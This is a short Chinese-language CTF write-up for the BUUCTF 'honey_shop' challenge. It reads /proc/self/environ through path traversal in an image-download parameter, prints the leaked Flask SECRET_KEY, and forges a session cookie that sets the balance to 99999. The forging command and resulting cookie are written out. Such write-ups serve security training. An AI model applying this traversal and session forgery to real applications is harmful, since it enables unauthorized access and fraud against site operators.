BUUCTF [PASECA2019]honey_shop

• 文件读取和session伪造
• 发现购买flag的钱差1元

其实大概就是这样，我们距离我们最想得到的就差那么一丢丢,买不了flag我们可以买蜂蜜嘛…
进入正题

• 题目有个提示click to download our sweet images
• 大概题目的切入点就是这个 下载的时候抓个包
• 发现/download?image=2.jpg,发现download目录,我们就可以尝试一下能不能去获取其他有用的信息
  
• 可以读取到其他有用的信息
• 昨天做题的时候做到了Linux下的一个文件
• 复习一下

Linux下的/proc目录
/proc 目录通常存储着进程动态运行的各种信息,本质上是一种虚拟目录
如果要查看当前进程的信息，pid是可以进行暴力破解的，如果要查看当前进程，只需/proc/self代替/proc/[pid]即可
/proc/[pid]/cmdline:cmdline可以读出比较敏感的信息 [pid]指向进程所对应的终端命令
/proc/[pid]/cwd/:无法获取当前应用所在目录,可以通过cwd命令直接跳转到当前目录 [pid]指向进程的运行目录
/proc/[pid]/environ:获取当前程序运行时候的环境变量

• 读取一下../../../../../../../proc/self/environ
  
• 发现了SECRET_KEY:CvwtBWoKZf7xLLUHA0stdWBChIOQSYgnqNRKKMuu
• 这里就能想到session伪造了
• 先将session解密
  
• 再去构造新的session

python3 flask_session_cookie_manager3.py encode -s "CvwtBWoKZf7xLLUHA0stdWBChIOQSYgnqNRKKMuu" -t "{'balance':99999}"

• payload:eyJiYWxhbmNlIjo5OTk5OX0.YFCC5w.BVnnOhpjzJZaXC39jKtATtUZsSU
• 浏览器里修改session
  

你终于有足够的钱了,可以去买你喜欢的东西了，但是你喜欢的东西还在嘛？
做题给我做抑郁了！！

• 我的flask_session_cookie_manager3.py 运行时候遇到了点问题
• 写了文章 给遇到相同问题的CTFer
• PIP安装模板后脚本依然不能运行解决方法